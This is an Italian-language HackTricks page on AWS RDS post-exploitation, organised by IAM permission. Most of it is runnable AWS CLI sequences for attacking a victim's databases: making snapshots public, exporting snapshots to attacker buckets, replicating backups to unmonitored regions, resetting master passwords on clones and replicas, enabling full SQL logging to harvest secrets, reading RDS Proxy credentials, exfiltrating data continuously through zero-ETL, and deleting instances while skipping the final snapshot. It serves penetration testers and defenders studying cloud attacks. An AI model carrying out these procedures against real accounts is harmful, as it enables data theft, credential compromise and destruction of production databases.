# AWS - RDS Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## RDS Per maggiori informazioni consulta: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` Se l'attacker ha permessi sufficienti, potrebbe rendere un **DB pubblicamente accessibile** creando uno snapshot del DB e poi un DB pubblicamente accessibile dallo snapshot. ```bash aws rds describe-db-instances # Get DB identifier aws rds create-db-snapshot \ --db-instance-identifier \ --db-snapshot-identifier cloudgoat # Get subnet groups & security groups aws rds describe-db-subnet-groups aws ec2 describe-security-groups aws rds restore-db-instance-from-db-snapshot \ --db-instance-identifier "new-db-not-malicious" \ --db-snapshot-identifier \ --db-subnet-group-name \ --publicly-accessible \ --vpc-security-group-ids aws rds modify-db-instance \ --db-instance-identifier "new-db-not-malicious" \ --master-user-password 'Llaody2f6.123' \ --apply-immediately # Connect to the new DB after a few mins ``` ### `rds:StopDBCluster` & `rds:StopDBInstance` Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database. Per arrestare una singola istanza DB (esempio): ```bash aws rds stop-db-instance \ --db-instance-identifier ``` Per fermare un intero cluster DB (esempio): ```bash aws rds stop-db-cluster \ --db-cluster-identifier ``` ### `rds:Delete*` Un attaccante a cui è concesso rds:Delete* può rimuovere le risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi. ```bash # Delete a DB instance (creates a final snapshot unless you skip it) aws rds delete-db-instance \ --db-instance-identifier \ --final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot # Delete a DB instance and skip final snapshot (more destructive) aws rds delete-db-instance \ --db-instance-identifier \ --skip-final-snapshot # Delete a manual DB snapshot aws rds delete-db-snapshot \ --db-snapshot-identifier # Delete an Aurora DB cluster (creates a final snapshot unless you skip) aws rds delete-db-cluster \ --db-cluster-identifier \ --final-db-snapshot-identifier # or use --skip-final-snapshot ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` Un attaccante con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare un DB nel proprio account a partire da quello snapshot. Se l'attaccante **non ha il `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier # Make it public/share with attackers account aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` ### `rds:DownloadDBLogFilePortion` Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` **Impatto potenziale**: Accesso a informazioni sensibili o esecuzione di azioni non autorizzate utilizzando leaked credentials. ### `rds:DeleteDBInstance` Un attaccante con questi permessi può **DoS existing RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` **Potential impact**: Cancellazione delle istanze RDS esistenti e possibile perdita di dati. ### `rds:StartExportTask` > [!NOTE] > TODO: Testare Un attacker con questa autorizzazione può esportare lo snapshot di un'istanza RDS in un bucket S3. Se l'attacker ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato. ### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) Sfruttare cross-Region automated backups replication per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e reimpostare la master password per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare. Permessi necessari (minimi): - `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione - `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione - `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione - `rds:ModifyDBInstance` nella Region di destinazione - `rds:StopDBInstanceAutomatedBackupsReplication` (pulizia opzionale) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato) Impatto: Persistenza e data exfiltration ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
Esempio CLI end-to-end (sostituire i segnaposto) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table # 2) Start cross-Region automated backups replication (run in DEST region B) aws rds start-db-instance-automated-backups-replication \ --region \ --source-db-instance-arn \ --source-region \ --backup-retention-period 7 # 3) Wait for replication to be ready in DEST aws rds describe-db-instance-automated-backups \ --region \ --query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \ --output table # Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn # 4) Restore to latest restorable time in DEST aws rds restore-db-instance-to-point-in-time \ --region \ --source-db-instance-automated-backups-arn \ --target-db-instance-identifier \ --use-latest-restorable-time \ --db-instance-class db.t3.micro aws rds wait db-instance-available --region --db-instance-identifier # 5) Make public and reset credentials in DEST # 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed) OPEN_SG_ID=$(aws ec2 create-security-group --region \ --group-name open-rds- --description open --vpc-id \ --query GroupId --output text) aws ec2 authorize-security-group-ingress --region \ --group-id "$OPEN_SG_ID" \ --ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]' # 5b) Publicly expose restored DB and attach the SG aws rds modify-db-instance --region \ --db-instance-identifier \ --publicly-accessible \ --vpc-security-group-ids "$OPEN_SG_ID" \ --apply-immediately aws rds wait db-instance-available --region --db-instance-identifier # 5c) Reset the master password aws rds modify-db-instance --region \ --db-instance-identifier \ --master-user-password '' \ --apply-immediately aws rds wait db-instance-available --region --db-instance-identifier # 6) Connect to endpoint and validate data (example for MySQL) ENDPOINT=$(aws rds describe-db-instances --region \ --db-instance-identifier \ --query 'DBInstances[0].Endpoint.Address' --output text) mysql -h "$ENDPOINT" -u -p'' -e 'SHOW DATABASES;' # 7) Optional: stop replication aws rds stop-db-instance-automated-backups-replication \ --region \ --source-db-instance-arn ```
### Abilitare il logging SQL completo via DB parameter groups ed esfiltrare tramite RDS log APIs Abusare di `rds:ModifyDBParameterGroup` con le RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilitare il logging SQL dell'engine e recuperare i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o il REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs. Permessi necessari (minimi): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` - `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) - `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) Passaggi 1) Recon target e current parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` 2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare il default) - Se l'istanza usa già un custom group, riutilizza il suo nome nel passo successivo. - Altrimenti crea e associa uno corrispondente alla engine family: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ --db-parameter-group-name ht-logs-pg \ --db-parameter-group-family postgres16 \ --description "HT logging" aws rds modify-db-instance \ --db-instance-identifier \ --db-parameter-group-name ht-logs-pg \ --apply-immediately # Wait until status becomes "available" ``` 3) Abilitare il logging SQL dettagliato - MySQL engines (immediato / senza riavvio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ --parameters \ "ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ "ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" # Optional extras: # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` - Motori PostgreSQL (riavvio richiesto): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ --parameters \ "ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" # Optional to log duration for every statement: # "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` 4) Lascia eseguire il workload (o genera query). Le istruzioni saranno scritte nei file di log del motore - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` 5) Individua e scarica i log (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier # Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: aws rds download-db-log-file-portion \ --db-instance-identifier \ --log-file-name general/mysql-general.log \ --starting-token 0 \ --output text > dump.log ``` 6) Analizzare offline alla ricerca di dati sensibili ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` Esempio di evidenza (oscurata): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Pulizia - Ripristinare i parametri ai valori predefiniti e riavviare se necessario: ```bash # MySQL aws rds modify-db-parameter-group \ --db-parameter-group-name \ --parameters \ "ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" # PostgreSQL aws rds modify-db-parameter-group \ --db-parameter-group-name \ --parameters \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` Impatto: Post-exploitation accesso ai dati catturando tutte le SQL statements dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` Abuse RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le primary instance credentials. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primary), e opzionalmente esporre la replica pubblicamente per exfiltrate data. Permissions needed (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con attacker-controlled credentials; minore probabilità di rilevamento poiché la primary rimane intatta e la replication continua. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ --output table # 2) Create a permissive SG (replace and ) aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' # 3) Create the read replica (optionally public) aws rds create-db-instance-read-replica \ --db-instance-identifier \ --source-db-instance-identifier \ --db-instance-class db.t3.medium \ --publicly-accessible \ --vpc-security-group-ids aws rds wait db-instance-available --db-instance-identifier # 4) Reset ONLY the replica master password (primary unchanged) aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately aws rds wait db-instance-available --db-instance-identifier # 5) Connect and dump (use the SOURCE master username + NEW password) REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) # e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` Esempio di evidenza (MySQL): - Stato DB replica: `available`, replicazione in lettura: `replicating` - Connessione riuscita con nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` Sfrutta RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Quindi resetta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira i sistemi di monitoraggio focalizzati solo sulla sorgente. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' # Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version # 2) Create Blue/Green deployment (replicates blue->green continuously) aws rds create-blue-green-deployment \ --blue-green-deployment-name ht-bgd-attack \ --source \ # Optional to upgrade: --target-engine-version # Wait until deployment Status becomes AVAILABLE, then note the green DB id aws rds describe-blue-green-deployments \ --blue-green-deployment-identifier \ --query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' # Typical green id: -green-XXXX # 3) Reset the green master password (does not affect blue) aws rds modify-db-instance \ --db-instance-identifier \ --master-user-password 'Gr33n!Exfil#1' \ --apply-immediately # Optional: expose the green for direct access (attach an SG that allows the DB port) aws rds modify-db-instance \ --db-instance-identifier \ --publicly-accessible \ --vpc-security-group-ids \ --apply-immediately # 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) aws rds describe-db-instances \ --db-instance-identifier \ --query 'DBInstances[0].Endpoint.Address' --output text # Then connect with the master username and the new password and run SELECT/dumps # e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' # 5) Cleanup – remove blue/green and the green resources aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` Impatto: Accesso completo in sola lettura a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione dati furtiva e analisi offline. ### SQL fuori banda via RDS Data API abilitando l'HTTP endpoint + reimpostando la master password Abuse Aurora per abilitare l'HTTP endpoint del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesta connettività di rete VPC). Funziona su motori Aurora che supportano Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni Aurora PostgreSQL/MySQL). Permessi (minimi): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) Impatto: Bypass della segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
CLI end-to-end (esempio Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text) # 2) Enable Data API HTTP endpoint on the cluster # Either of the following (depending on API/engine support): aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" # or aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --enable-http-endpoint --apply-immediately # Wait until HttpEndpointEnabled is True aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].HttpEndpointEnabled' --output text # 3) Reset master password to attacker-controlled value aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --master-user-password 'Sup3rStr0ng!1' --apply-immediately # Wait until pending password change is applied while :; do aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) [[ "$P" == "None" || "$P" == "null" ]] && break sleep 10 done # 4) Create a Secrets Manager secret for Data API auth SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ --secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ --query ARN --output text) # 5) Prove out-of-band SQL via HTTPS using rds-data # (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ --secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ --secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ --secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ --secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ --format-records-as JSON ```
Note: - Se rds-data rifiuta SQL con più istruzioni, eseguire chiamate separate execute-statement. - Per motori in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn. - Verificare che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False. ### Raccogliere credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi a `secretsmanager:GetSecretValue`, rendendo questo un pivot a bassa frizione verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`. Permessi necessari (minimo): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` sul SecretArn referenziato - Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella key Impatto: divulgazione immediata di username/password DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali. Passaggi ```bash # 1) Enumerate proxies and extract the SecretArn used for auth aws rds describe-db-proxies \ --query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ --output table # 2) Read the secret value (common over-permission) aws secretsmanager get-secret-value \ --secret-id \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` Lab (minimale per riprodurre) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SECRET_ARN=$(aws secretsmanager create-secret \ --region $REGION --name rds/proxy/aurora-demo \ --secret-string username:admin \ --query ARN --output text) aws iam create-role --role-name rds-proxy-secret-role \ --assume-role-policy-document Version:2012-10-17 aws iam attach-role-policy --role-name rds-proxy-secret-role \ --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ --auth [AuthScheme:SECRETS] \ --role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ --vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` Pulizia (lab) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` ### Esfiltrazione continua stealth via Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) Sfrutta l'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati quasi in tempo reale senza credenziali DB, snapshot o esposizione di rete. Permessi necessari (minimo): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (per interrogare) - `rds-data:ExecuteStatement` (opzionale; per popolare dati se necessario) Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Crea namespace Redshift Serverless + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurare la policy delle risorse di Redshift per consentire la sorgente Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Creare un cluster Aurora PostgreSQL (abilitare Data API e logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Crea l'integrazione zero‑ETL da RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Materializzare e interrogare i dati replicati in Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```
Evidenze osservate nel test: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... - SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. - Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha mostrato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob). Impatto: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster. {{#include ../../../../banners/hacktricks-training.md}}